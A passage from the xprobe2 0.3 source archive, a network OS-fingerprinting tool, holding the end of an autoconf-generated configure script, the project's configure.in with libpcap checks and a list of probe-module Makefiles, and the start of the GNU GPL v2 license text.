_ACEOF cat >>$CONFIG_STATUS <<\_ACEOF for ac_file in : $CONFIG_FILES; do test "x$ac_file" = x: && continue # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in". case $ac_file in - | *:- | *:-:* ) # input from stdin cat >$tmp/stdin ac_file_in=`echo "$ac_file" | sed 's,[^:]*:,,'` ac_file=`echo "$ac_file" | sed 's,:.*,,'` ;; *:* ) ac_file_in=`echo "$ac_file" | sed 's,[^:]*:,,'` ac_file=`echo "$ac_file" | sed 's,:.*,,'` ;; * ) ac_file_in=$ac_file.in ;; esac # Compute @srcdir@, @top_srcdir@, and @INSTALL@ for subdirectories. ac_dir=`(dirname "$ac_file") 2>/dev/null || $as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$ac_file" : 'X\(//\)[^/]' \| \ X"$ac_file" : 'X\(//\)$' \| \ X"$ac_file" : 'X\(/\)' \| \ . : '\(.\)' 2>/dev/null || echo X"$ac_file" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } /^X\(\/\/\)[^/].*/{ s//\1/; q; } /^X\(\/\/\)$/{ s//\1/; q; } /^X\(\/\).*/{ s//\1/; q; } s/.*/./; q'` { if $as_mkdir_p; then mkdir -p "$ac_dir" else as_dir="$ac_dir" as_dirs= while test ! -d "$as_dir"; do as_dirs="$as_dir $as_dirs" as_dir=`(dirname "$as_dir") 2>/dev/null || $as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$as_dir" : 'X\(//\)[^/]' \| \ X"$as_dir" : 'X\(//\)$' \| \ X"$as_dir" : 'X\(/\)' \| \ . : '\(.\)' 2>/dev/null || echo X"$as_dir" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } /^X\(\/\/\)[^/].*/{ s//\1/; q; } /^X\(\/\/\)$/{ s//\1/; q; } /^X\(\/\).*/{ s//\1/; q; } s/.*/./; q'` done test ! -n "$as_dirs" || mkdir $as_dirs fi || { { echo "$as_me:$LINENO: error: cannot create directory \"$ac_dir\"" >&5 echo "$as_me: error: cannot create directory \"$ac_dir\"" >&2;} { (exit 1); exit 1; }; }; } ac_builddir=. if test "$ac_dir" != .; then ac_dir_suffix=/`echo "$ac_dir" | sed 's,^\.[\\/],,'` # A "../" for each directory in $ac_dir_suffix. ac_top_builddir=`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,../,g'` else ac_dir_suffix= ac_top_builddir= fi case $srcdir in .) # No --srcdir option. We are building in place. ac_srcdir=. if test -z "$ac_top_builddir"; then ac_top_srcdir=. else ac_top_srcdir=`echo $ac_top_builddir | sed 's,/$,,'` fi ;; [\\/]* | ?:[\\/]* ) # Absolute path. ac_srcdir=$srcdir$ac_dir_suffix; ac_top_srcdir=$srcdir ;; *) # Relative path. ac_srcdir=$ac_top_builddir$srcdir$ac_dir_suffix ac_top_srcdir=$ac_top_builddir$srcdir ;; esac # Do not use `cd foo && pwd` to compute absolute paths, because # the directories may not exist. case `pwd` in .) ac_abs_builddir="$ac_dir";; *) case "$ac_dir" in .) ac_abs_builddir=`pwd`;; [\\/]* | ?:[\\/]* ) ac_abs_builddir="$ac_dir";; *) ac_abs_builddir=`pwd`/"$ac_dir";; esac;; esac case $ac_abs_builddir in .) ac_abs_top_builddir=${ac_top_builddir}.;; *) case ${ac_top_builddir}. in .) ac_abs_top_builddir=$ac_abs_builddir;; [\\/]* | ?:[\\/]* ) ac_abs_top_builddir=${ac_top_builddir}.;; *) ac_abs_top_builddir=$ac_abs_builddir/${ac_top_builddir}.;; esac;; esac case $ac_abs_builddir in .) ac_abs_srcdir=$ac_srcdir;; *) case $ac_srcdir in .) ac_abs_srcdir=$ac_abs_builddir;; [\\/]* | ?:[\\/]* ) ac_abs_srcdir=$ac_srcdir;; *) ac_abs_srcdir=$ac_abs_builddir/$ac_srcdir;; esac;; esac case $ac_abs_builddir in .) ac_abs_top_srcdir=$ac_top_srcdir;; *) case $ac_top_srcdir in .) ac_abs_top_srcdir=$ac_abs_builddir;; [\\/]* | ?:[\\/]* ) ac_abs_top_srcdir=$ac_top_srcdir;; *) ac_abs_top_srcdir=$ac_abs_builddir/$ac_top_srcdir;; esac;; esac case $INSTALL in [\\/$]* | ?:[\\/]* ) ac_INSTALL=$INSTALL ;; *) ac_INSTALL=$ac_top_builddir$INSTALL ;; esac if test x"$ac_file" != x-; then { echo "$as_me:$LINENO: creating $ac_file" >&5 echo "$as_me: creating $ac_file" >&6;} rm -f "$ac_file" fi # Let's still pretend it is `configure' which instantiates (i.e., don't # use $as_me), people would be surprised to read: # /* config.h. Generated by config.status. */ if test x"$ac_file" = x-; then configure_input= else configure_input="$ac_file. " fi configure_input=$configure_input"Generated from `echo $ac_file_in | sed 's,.*/,,'` by configure." # First look for the input files in the build tree, otherwise in the # src tree. ac_file_inputs=`IFS=: for f in $ac_file_in; do case $f in -) echo $tmp/stdin ;; [\\/$]*) # Absolute (can't be DOS-style, as IFS=:) test -f "$f" || { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5 echo "$as_me: error: cannot find input file: $f" >&2;} { (exit 1); exit 1; }; } echo "$f";; *) # Relative if test -f "$f"; then # Build tree echo "$f" elif test -f "$srcdir/$f"; then # Source tree echo "$srcdir/$f" else # /dev/null tree { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5 echo "$as_me: error: cannot find input file: $f" >&2;} { (exit 1); exit 1; }; } fi;; esac done` || { (exit 1); exit 1; } _ACEOF cat >>$CONFIG_STATUS <<_ACEOF sed "$ac_vpsub $extrasub _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF :t /@[a-zA-Z_][a-zA-Z_0-9]*@/!b s,@configure_input@,$configure_input,;t t s,@srcdir@,$ac_srcdir,;t t s,@abs_srcdir@,$ac_abs_srcdir,;t t s,@top_srcdir@,$ac_top_srcdir,;t t s,@abs_top_srcdir@,$ac_abs_top_srcdir,;t t s,@builddir@,$ac_builddir,;t t s,@abs_builddir@,$ac_abs_builddir,;t t s,@top_builddir@,$ac_top_builddir,;t t s,@abs_top_builddir@,$ac_abs_top_builddir,;t t s,@INSTALL@,$ac_INSTALL,;t t " $ac_file_inputs | (eval "$ac_sed_cmds") >$tmp/out rm -f $tmp/stdin if test x"$ac_file" != x-; then mv $tmp/out $ac_file else cat $tmp/out rm -f $tmp/out fi done _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF # # CONFIG_HEADER section. # # These sed commands are passed to sed as "A NAME B NAME C VALUE D", where # NAME is the cpp macro being defined and VALUE is the value it is being given. # # ac_d sets the value in "#define NAME VALUE" lines. ac_dA='s,^\([ ]*\)#\([ ]*define[ ][ ]*\)' ac_dB='[ ].*$,\1#\2' ac_dC=' ' ac_dD=',;t' # ac_u turns "#undef NAME" without trailing blanks into "#define NAME VALUE". ac_uA='s,^\([ ]*\)#\([ ]*\)undef\([ ][ ]*\)' ac_uB='$,\1#\2define\3' ac_uC=' ' ac_uD=',;t' for ac_file in : $CONFIG_HEADERS; do test "x$ac_file" = x: && continue # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in". case $ac_file in - | *:- | *:-:* ) # input from stdin cat >$tmp/stdin ac_file_in=`echo "$ac_file" | sed 's,[^:]*:,,'` ac_file=`echo "$ac_file" | sed 's,:.*,,'` ;; *:* ) ac_file_in=`echo "$ac_file" | sed 's,[^:]*:,,'` ac_file=`echo "$ac_file" | sed 's,:.*,,'` ;; * ) ac_file_in=$ac_file.in ;; esac test x"$ac_file" != x- && { echo "$as_me:$LINENO: creating $ac_file" >&5 echo "$as_me: creating $ac_file" >&6;} # First look for the input files in the build tree, otherwise in the # src tree. ac_file_inputs=`IFS=: for f in $ac_file_in; do case $f in -) echo $tmp/stdin ;; [\\/$]*) # Absolute (can't be DOS-style, as IFS=:) test -f "$f" || { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5 echo "$as_me: error: cannot find input file: $f" >&2;} { (exit 1); exit 1; }; } # Do quote $f, to prevent DOS paths from being IFS'd. echo "$f";; *) # Relative if test -f "$f"; then # Build tree echo "$f" elif test -f "$srcdir/$f"; then # Source tree echo "$srcdir/$f" else # /dev/null tree { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5 echo "$as_me: error: cannot find input file: $f" >&2;} { (exit 1); exit 1; }; } fi;; esac done` || { (exit 1); exit 1; } # Remove the trailing spaces. sed 's/[ ]*$//' $ac_file_inputs >$tmp/in _ACEOF # Transform confdefs.h into two sed scripts, `conftest.defines' and # `conftest.undefs', that substitutes the proper values into # config.h.in to produce config.h. The first handles `#define' # templates, and the second `#undef' templates. # And first: Protect against being on the right side of a sed subst in # config.status. Protect against being in an unquoted here document # in config.status. rm -f conftest.defines conftest.undefs # Using a here document instead of a string reduces the quoting nightmare. # Putting comments in sed scripts is not portable. # # `end' is used to avoid that the second main sed command (meant for # 0-ary CPP macros) applies to n-ary macro definitions. # See the Autoconf documentation for `clear'. cat >confdef2sed.sed <<\_ACEOF s/[\\&,]/\\&/g s,[\\$`],\\&,g t clear : clear s,^[ ]*#[ ]*define[ ][ ]*\([^ (][^ (]*\)\(([^)]*)\)[ ]*\(.*\)$,${ac_dA}\1${ac_dB}\1\2${ac_dC}\3${ac_dD},gp t end s,^[ ]*#[ ]*define[ ][ ]*\([^ ][^ ]*\)[ ]*\(.*\)$,${ac_dA}\1${ac_dB}\1${ac_dC}\2${ac_dD},gp : end _ACEOF # If some macros were called several times there might be several times # the same #defines, which is useless. Nevertheless, we may not want to # sort them, since we want the *last* AC-DEFINE to be honored. uniq confdefs.h | sed -n -f confdef2sed.sed >conftest.defines sed 's/ac_d/ac_u/g' conftest.defines >conftest.undefs rm -f confdef2sed.sed # This sed command replaces #undef with comments. This is necessary, for # example, in the case of _POSIX_SOURCE, which is predefined and required # on some systems where configure will not decide to define it. cat >>conftest.undefs <<\_ACEOF s,^[ ]*#[ ]*undef[ ][ ]*[a-zA-Z_][a-zA-Z_0-9]*,/* & */, _ACEOF # Break up conftest.defines because some shells have a limit on the size # of here documents, and old seds have small limits too (100 cmds). echo ' # Handle all the #define templates only if necessary.' >>$CONFIG_STATUS echo ' if grep "^[ ]*#[ ]*define" $tmp/in >/dev/null; then' >>$CONFIG_STATUS echo ' # If there are no defines, we may have an empty if/fi' >>$CONFIG_STATUS echo ' :' >>$CONFIG_STATUS rm -f conftest.tail while grep . conftest.defines >/dev/null do # Write a limited-size here document to $tmp/defines.sed. echo ' cat >$tmp/defines.sed <>$CONFIG_STATUS # Speed up: don't consider the non `#define' lines. echo '/^[ ]*#[ ]*define/!b' >>$CONFIG_STATUS # Work around the forget-to-reset-the-flag bug. echo 't clr' >>$CONFIG_STATUS echo ': clr' >>$CONFIG_STATUS sed ${ac_max_here_lines}q conftest.defines >>$CONFIG_STATUS echo 'CEOF sed -f $tmp/defines.sed $tmp/in >$tmp/out rm -f $tmp/in mv $tmp/out $tmp/in ' >>$CONFIG_STATUS sed 1,${ac_max_here_lines}d conftest.defines >conftest.tail rm -f conftest.defines mv conftest.tail conftest.defines done rm -f conftest.defines echo ' fi # grep' >>$CONFIG_STATUS echo >>$CONFIG_STATUS # Break up conftest.undefs because some shells have a limit on the size # of here documents, and old seds have small limits too (100 cmds). echo ' # Handle all the #undef templates' >>$CONFIG_STATUS rm -f conftest.tail while grep . conftest.undefs >/dev/null do # Write a limited-size here document to $tmp/undefs.sed. echo ' cat >$tmp/undefs.sed <>$CONFIG_STATUS # Speed up: don't consider the non `#undef' echo '/^[ ]*#[ ]*undef/!b' >>$CONFIG_STATUS # Work around the forget-to-reset-the-flag bug. echo 't clr' >>$CONFIG_STATUS echo ': clr' >>$CONFIG_STATUS sed ${ac_max_here_lines}q conftest.undefs >>$CONFIG_STATUS echo 'CEOF sed -f $tmp/undefs.sed $tmp/in >$tmp/out rm -f $tmp/in mv $tmp/out $tmp/in ' >>$CONFIG_STATUS sed 1,${ac_max_here_lines}d conftest.undefs >conftest.tail rm -f conftest.undefs mv conftest.tail conftest.undefs done rm -f conftest.undefs cat >>$CONFIG_STATUS <<\_ACEOF # Let's still pretend it is `configure' which instantiates (i.e., don't # use $as_me), people would be surprised to read: # /* config.h. Generated by config.status. */ if test x"$ac_file" = x-; then echo "/* Generated by configure. */" >$tmp/config.h else echo "/* $ac_file. Generated by configure. */" >$tmp/config.h fi cat $tmp/in >>$tmp/config.h rm -f $tmp/in if test x"$ac_file" != x-; then if diff $ac_file $tmp/config.h >/dev/null 2>&1; then { echo "$as_me:$LINENO: $ac_file is unchanged" >&5 echo "$as_me: $ac_file is unchanged" >&6;} else ac_dir=`(dirname "$ac_file") 2>/dev/null || $as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$ac_file" : 'X\(//\)[^/]' \| \ X"$ac_file" : 'X\(//\)$' \| \ X"$ac_file" : 'X\(/\)' \| \ . : '\(.\)' 2>/dev/null || echo X"$ac_file" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } /^X\(\/\/\)[^/].*/{ s//\1/; q; } /^X\(\/\/\)$/{ s//\1/; q; } /^X\(\/\).*/{ s//\1/; q; } s/.*/./; q'` { if $as_mkdir_p; then mkdir -p "$ac_dir" else as_dir="$ac_dir" as_dirs= while test ! -d "$as_dir"; do as_dirs="$as_dir $as_dirs" as_dir=`(dirname "$as_dir") 2>/dev/null || $as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$as_dir" : 'X\(//\)[^/]' \| \ X"$as_dir" : 'X\(//\)$' \| \ X"$as_dir" : 'X\(/\)' \| \ . : '\(.\)' 2>/dev/null || echo X"$as_dir" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } /^X\(\/\/\)[^/].*/{ s//\1/; q; } /^X\(\/\/\)$/{ s//\1/; q; } /^X\(\/\).*/{ s//\1/; q; } s/.*/./; q'` done test ! -n "$as_dirs" || mkdir $as_dirs fi || { { echo "$as_me:$LINENO: error: cannot create directory \"$ac_dir\"" >&5 echo "$as_me: error: cannot create directory \"$ac_dir\"" >&2;} { (exit 1); exit 1; }; }; } rm -f $ac_file mv $tmp/config.h $ac_file fi else cat $tmp/config.h rm -f $tmp/config.h fi done _ACEOF cat >>$CONFIG_STATUS <<\_ACEOF { (exit 0); exit 0; } _ACEOF chmod +x $CONFIG_STATUS ac_clean_files=$ac_clean_files_save # configure is writing to config.log, and then calls config.status. # config.status does its own redirection, appending to config.log. # Unfortunately, on DOS this fails, as config.log is still kept open # by configure, so config.status won't be able to write to it; its # output is simply discarded. So we exec the FD to /dev/null, # effectively closing config.log, so it can be properly (re)opened and # appended to by config.status. When coming back to configure, we # need to make the FD available again. if test "$no_create" != yes; then ac_cs_success=: ac_config_status_args= test "$silent" = yes && ac_config_status_args="$ac_config_status_args --quiet" exec 5>/dev/null $SHELL $CONFIG_STATUS $ac_config_status_args || ac_cs_success=false exec 5>>config.log # Use ||, not &&, to avoid exiting from the if with $? = 1, which # would make configure fail if this is the last instruction. $ac_cs_success || { (exit 1); exit 1; } fi # # CONFIG_SUBDIRS section. # if test "$no_recursion" != yes; then # Remove --cache-file and --srcdir arguments so they do not pile up. ac_sub_configure_args= ac_prev= for ac_arg in $ac_configure_args; do if test -n "$ac_prev"; then ac_prev= continue fi case $ac_arg in -cache-file | --cache-file | --cache-fil | --cache-fi \ | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c) ac_prev=cache_file ;; -cache-file=* | --cache-file=* | --cache-fil=* | --cache-fi=* \ | --cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* \ | --c=*) ;; --config-cache | -C) ;; -srcdir | --srcdir | --srcdi | --srcd | --src | --sr) ac_prev=srcdir ;; -srcdir=* | --srcdir=* | --srcdi=* | --srcd=* | --src=* | --sr=*) ;; -prefix | --prefix | --prefi | --pref | --pre | --pr | --p) ac_prev=prefix ;; -prefix=* | --prefix=* | --prefi=* | --pref=* | --pre=* | --pr=* | --p=*) ;; *) ac_sub_configure_args="$ac_sub_configure_args $ac_arg" ;; esac done # Always prepend --prefix to ensure using the same prefix # in subdir configurations. ac_sub_configure_args="--prefix=$prefix $ac_sub_configure_args" ac_popdir=`pwd` for ac_dir in : $subdirs; do test "x$ac_dir" = x: && continue # Do not complain, so a configure script can configure whichever # parts of a large source tree are present. test -d $srcdir/$ac_dir || continue { echo "$as_me:$LINENO: configuring in $ac_dir" >&5 echo "$as_me: configuring in $ac_dir" >&6;} { if $as_mkdir_p; then mkdir -p "$ac_dir" else as_dir="$ac_dir" as_dirs= while test ! -d "$as_dir"; do as_dirs="$as_dir $as_dirs" as_dir=`(dirname "$as_dir") 2>/dev/null || $as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$as_dir" : 'X\(//\)[^/]' \| \ X"$as_dir" : 'X\(//\)$' \| \ X"$as_dir" : 'X\(/\)' \| \ . : '\(.\)' 2>/dev/null || echo X"$as_dir" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; } /^X\(\/\/\)[^/].*/{ s//\1/; q; } /^X\(\/\/\)$/{ s//\1/; q; } /^X\(\/\).*/{ s//\1/; q; } s/.*/./; q'` done test ! -n "$as_dirs" || mkdir $as_dirs fi || { { echo "$as_me:$LINENO: error: cannot create directory \"$ac_dir\"" >&5 echo "$as_me: error: cannot create directory \"$ac_dir\"" >&2;} { (exit 1); exit 1; }; }; } ac_builddir=. if test "$ac_dir" != .; then ac_dir_suffix=/`echo "$ac_dir" | sed 's,^\.[\\/],,'` # A "../" for each directory in $ac_dir_suffix. ac_top_builddir=`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,../,g'` else ac_dir_suffix= ac_top_builddir= fi case $srcdir in .) # No --srcdir option. We are building in place. ac_srcdir=. if test -z "$ac_top_builddir"; then ac_top_srcdir=. else ac_top_srcdir=`echo $ac_top_builddir | sed 's,/$,,'` fi ;; [\\/]* | ?:[\\/]* ) # Absolute path. ac_srcdir=$srcdir$ac_dir_suffix; ac_top_srcdir=$srcdir ;; *) # Relative path. ac_srcdir=$ac_top_builddir$srcdir$ac_dir_suffix ac_top_srcdir=$ac_top_builddir$srcdir ;; esac # Do not use `cd foo && pwd` to compute absolute paths, because # the directories may not exist. case `pwd` in .) ac_abs_builddir="$ac_dir";; *) case "$ac_dir" in .) ac_abs_builddir=`pwd`;; [\\/]* | ?:[\\/]* ) ac_abs_builddir="$ac_dir";; *) ac_abs_builddir=`pwd`/"$ac_dir";; esac;; esac case $ac_abs_builddir in .) ac_abs_top_builddir=${ac_top_builddir}.;; *) case ${ac_top_builddir}. in .) ac_abs_top_builddir=$ac_abs_builddir;; [\\/]* | ?:[\\/]* ) ac_abs_top_builddir=${ac_top_builddir}.;; *) ac_abs_top_builddir=$ac_abs_builddir/${ac_top_builddir}.;; esac;; esac case $ac_abs_builddir in .) ac_abs_srcdir=$ac_srcdir;; *) case $ac_srcdir in .) ac_abs_srcdir=$ac_abs_builddir;; [\\/]* | ?:[\\/]* ) ac_abs_srcdir=$ac_srcdir;; *) ac_abs_srcdir=$ac_abs_builddir/$ac_srcdir;; esac;; esac case $ac_abs_builddir in .) ac_abs_top_srcdir=$ac_top_srcdir;; *) case $ac_top_srcdir in .) ac_abs_top_srcdir=$ac_abs_builddir;; [\\/]* | ?:[\\/]* ) ac_abs_top_srcdir=$ac_top_srcdir;; *) ac_abs_top_srcdir=$ac_abs_builddir/$ac_top_srcdir;; esac;; esac cd $ac_dir # Check for guested configure; otherwise get Cygnus style configure. if test -f $ac_srcdir/configure.gnu; then ac_sub_configure="$SHELL '$ac_srcdir/configure.gnu'" elif test -f $ac_srcdir/configure; then ac_sub_configure="$SHELL '$ac_srcdir/configure'" elif test -f $ac_srcdir/configure.in; then ac_sub_configure=$ac_configure else { echo "$as_me:$LINENO: WARNING: no configuration information is in $ac_dir" >&5 echo "$as_me: WARNING: no configuration information is in $ac_dir" >&2;} ac_sub_configure= fi # The recursion is here. if test -n "$ac_sub_configure"; then # Make the cache file name correct relative to the subdirectory. case $cache_file in [\\/]* | ?:[\\/]* ) ac_sub_cache_file=$cache_file ;; *) # Relative path. ac_sub_cache_file=$ac_top_builddir$cache_file ;; esac { echo "$as_me:$LINENO: running $ac_sub_configure $ac_sub_configure_args --cache-file=$ac_sub_cache_file --srcdir=$ac_srcdir" >&5 echo "$as_me: running $ac_sub_configure $ac_sub_configure_args --cache-file=$ac_sub_cache_file --srcdir=$ac_srcdir" >&6;} # The eval makes quoting arguments work. eval $ac_sub_configure $ac_sub_configure_args \ --cache-file=$ac_sub_cache_file --srcdir=$ac_srcdir || { { echo "$as_me:$LINENO: error: $ac_sub_configure failed for $ac_dir" >&5 echo "$as_me: error: $ac_sub_configure failed for $ac_dir" >&2;} { (exit 1); exit 1; }; } fi cd $ac_popdir done fi xprobe2-0.3/configure.in000644 001751 000000 00000014426 10271643771 015513 0ustar00mederwheel000000 000000 # $Id: configure.in,v 1.15 2005/07/18 10:53:40 mederchik Exp $ # # Copyright (C) 2001 Fyodor Yarochkin , # Ofir Arkin # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. AC_INIT(src/xprobe.cc) AC_LANG_CPLUSPLUS AC_ARG_PROGRAM PACKAGE=xprobe2 VERSION='0.3' if test "x$sysconfdir" != xNONE; then if test "x$prefix" = xNONE; then prefix="$ac_default_prefix" fi CFGDIR="`eval echo $sysconfdir`/xprobe2" else CFGDIR="$ac_default_prefix/etc/xprobe2" fi AC_SUBST(PACKAGE) AC_SUBST(VERSION) AC_SUBST(CFGDIR) AC_CONFIG_HEADER(src/config.h) AC_CONFIG_AUX_DIR(cfg-scripts) AC_PROG_CC AC_PROG_CXX AC_PROG_RANLIB SOURCES=`cd src; ls *.cc | awk ' { printf "%s ", $1 } '` AC_SUBST(SOURCES) HEADERS=`cd src; ls *.h | awk '!/defines.h|config.h/{ printf "%s ", $1 }'` AC_SUBST(HEADERS) # XXX: add -Werror for the final version # remove -Wmissing-prototypes, as they cause warnings if test -n "$GCC"; then CPPFLAGS="$CPPFLAGS -Wall -W -Wcast-align \ -Wcast-qual -Wshadow" #-Wwrite-strings fi AC_ARG_ENABLE(debug, [ --enable-debug enable debugging )], [ if test -n "$GCC"; then CPPFLAGS="$CPPFLAGS -DDEBUG -ggdb" else CPPFLAGS="$CPPFLAGS -DDEBUG" fi ], ) AC_CANONICAL_HOST case "$host" in *-solaris*) AC_DEFINE(SOLARIS,,Solaris OS) LDFLAGS="${LDFLAGS} -lsocket -lnsl -lresolv -ldl" HAVE_LIBDL=1 ;; *-linux*) AC_DEFINE(LINUX,,Linux OS) LDFLAGS="${LDFLAGS} -ldl -rdynamic" HAVE_LIBDL=1 ;; esac AC_HEADER_STDC AC_CHECK_HEADERS(strings.h) AC_CHECK_HEADERS(string.h) AC_CHECK_HEADERS(stdlib.h) AC_CHECK_HEADERS(unistd.h) AC_CHECK_HEADERS(glib.h) AC_CHECK_HEADERS(dlfcn.h) #AC_C_CONST #AC_CHECK_TYPE(uint8_t, unsigned char) #AC_CHECK_TYPE(uint16_t, unsigned short) #AC_CHECK_TYPE(uint32_t, unsigned long) AC_CACHE_CHECK([if sa_len is in struct sockaddr], ac_cv_sockaddr_sa_len, AC_TRY_COMPILE([ #include #include #include ] ,[ printf("%i\n", ((struct sockaddr *)NULL)->sa_len); ], [ ac_cv_sockaddr_sa_len=yes ] ,[ ac_cv_sockaddr_sa_len=no ])) if test "$ac_cv_sockaddr_sa_len" = "yes"; then AC_DEFINE(HAVE_SOCKADDR_SA_LEN,,Struct sockaddr has sa_len member) fi AC_ARG_WITH(libpcap_includes, [ --with-libpcap-includes=DIR libpcap include directory], [with_libpcap_includes="$withval"],[with_libpcap_includes=no]) AC_ARG_WITH(libpcap_libraries, [ --with-libpcap-libraries=DIR libpcap library directory], [with_libpcap_libraries="$withval"],[with_libpcap_libraries=no]) if test "$with_libpcap_includes" != "no"; then CPPFLAGS="${CPPFLAGS} -I${with_libpcap_includes}" fi if test "$with_libpcap_libraries" != "no"; then LDFLAGS="${LDFLAGS} -L${with_libpcap_libraries}" fi LPCAP="" AC_CHECK_LIB(pcap, pcap_datalink,, LPCAP="no") if test "$LPCAP" = "no"; then echo echo " ERROR! Libpcap library/headers not found." echo " http://www.tcpdump.org/ is a good place to fetch one" echo " if libpcap library is installed, use the --with-libpcap-* options" echo " to specify pathes to include and library files locations." exit fi AC_ARG_WITH(libusipp_includes, [ --with-libusipp-includes=DIR libusipp include directory], [with_libusipp_includes="$withval"],[with_libusipp_includes=no]) AC_ARG_WITH(libusipp_libraries, [ --with-libusipp-libraries=DIR libusipp library directory], [with_libusipp_libraries="$withval"],[with_libusipp_libraries=no]) if test "$with_libusipp_includes" != "no"; then CPPFLAGS="${CPPFLAGS} -I${with_libusipp_includes}" fi if test "$with_libusipp_libraries" != "no"; then LDFLAGS="${LDFLAGS} -L${with_libusipp_libraries}" fi #AC_CACHE_CHECK(if libusi++ works, ac_cv_have_libusipp, #AC_TRY_COMPILE([ # ##include ##include ##include ##include # #],[ # TCP *tmp = new TCP("foo"); # # TCP tcp(*tmp); # #], ac_cv_have_libusipp=yes, # ac_cv_have_libusipp=no # )) # # #if test "$ac_cv_have_libusipp" = "no"; then # echo # echo " ERROR! Libusi++ library/headers not found." # echo " http://www.cs.uni-potsdam.de/homepages/students/linuxer/" # echo " is a good place to fetch one. (a copy avail. at our page too)." # echo " if libusipp library is installed, use the --with-libusipp-* options" # echo " to specify pathes to include and library files locations." # exit #fi #LIBS="-lusi++ $LIBS" AC_CHECK_HEADERS(dlfcn.h,HAVE_DLFCN_H=1, DL_FAIL=1) if test "$HAVE_DLCFCN_H" = 1; then if test "$HAVE_LIBDL" = 1; then AC_CHECK_LIB(dl,dlopen,,DL_FAIL=1) else AC_CHECK_LIB(c,dlopen,,DL_FAIL=1) fi fi if test "$DL_FAIL" = 1; then AC_MSG_WARN("Dynamically loadable tests will not be supported"); AC_DEFINE(STATIC_TESTS,, Static Tests) else DYNFLAGS="-fPIC -shared" AC_SUBST(DYNFLAGS) fi AC_PROG_INSTALL AC_PROG_MAKE_SET #subdirs="libs-external/USI++/src" AC_CONFIG_SUBDIRS("libs-external/USI++/src") AC_OUTPUT([ Makefile src/defines.h src/Makefile src/xplib/Makefile src/xpmodules/Makefile src/xpmodules/alive_probe/Makefile src/xpmodules/alive_probe/ttl_calc/Makefile src/xpmodules/alive_probe/portscanner/Makefile src/xpmodules/os_probe/Makefile src/xpmodules/os_probe/icmp_echo_id/Makefile src/xpmodules/os_probe/icmp_timestamp/Makefile src/xpmodules/os_probe/icmp_addrmask/Makefile src/xpmodules/os_probe/icmp_inforeq/Makefile src/xpmodules/os_probe/icmp_port_unreach/Makefile src/xpmodules/os_probe/tcp_handshake/Makefile src/xpmodules/os_probe/tcp_rst/Makefile src/xpmodules/os_probe/smb/Makefile src/xpmodules/os_probe/snmp/Makefile ]) xprobe2-0.3/COPYING000755 001751 000000 00000043131 10271643771 014233 0ustar00mederwheel000000 000000 GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent 